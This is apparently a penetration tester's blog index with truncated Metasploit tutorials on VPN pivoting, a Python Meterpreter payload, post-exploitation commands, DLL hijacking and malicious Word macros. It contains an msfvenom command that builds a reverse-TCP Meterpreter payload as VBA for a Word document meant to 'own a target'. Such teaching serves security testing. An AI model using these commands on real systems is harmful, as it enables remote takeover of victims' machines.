So you’re broke and you don’t own msfpro, cobalt strike or any of the other expensive tools that allow vpn pivoting. (FYI: Paying for tools like cobalt strike helps Raphael Mudge continue to keep developing free tools like Armitage)

So now that that’s out of the way lets explain the scenario.

You’ve managed to get a meterpreter session on a box via a webshell (possibly a network firewall… Continue reading

So not so recently support was added to metasploit for a native python meterpreter. The cool thing about this is that the victim only needs to execute a few small lines of code.

This means that if you’re performing a local lockdown test and manage to get access to a python shell it wont take much more effort to turn this into a meterpreter session.

12msfvenom -f raw -p… Continue reading

Credit for most of the below comes from Mubix who has created a few documents (on google docs) that lists what to actually do once shell access has been gained. You can read more about it here and find the links to the docs, I’m simply blogging about it to make a summary of this for myself.

Meterpreter Post Auth

Information Gathering

12345678910getuid getpid getsprivs sysinfo screenshot run winenum.rb run… Continue reading

So it’s been spoken of alot but i’d never actually got around to trying it. A colleague has been banging on about it for weeks and before he got chance to play with it a second colleague managed to use this in the wild. Sweet! I decided it would be worth playing with in order to have a go at creating my own DLL and seeing what is vulnerable on… Continue reading

So you want/need a malicious word document in order to own a target, step in metasploit.

The first thing you’ll need to do is create the code that you’ll copy&paste into your word document.

1./msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f vba > vbcode.txt

The output will contain 2 blocks of code; the macro and the data.

Open a new word document and Press Alt+F11 in order to open “Microsoft Visual… Continue reading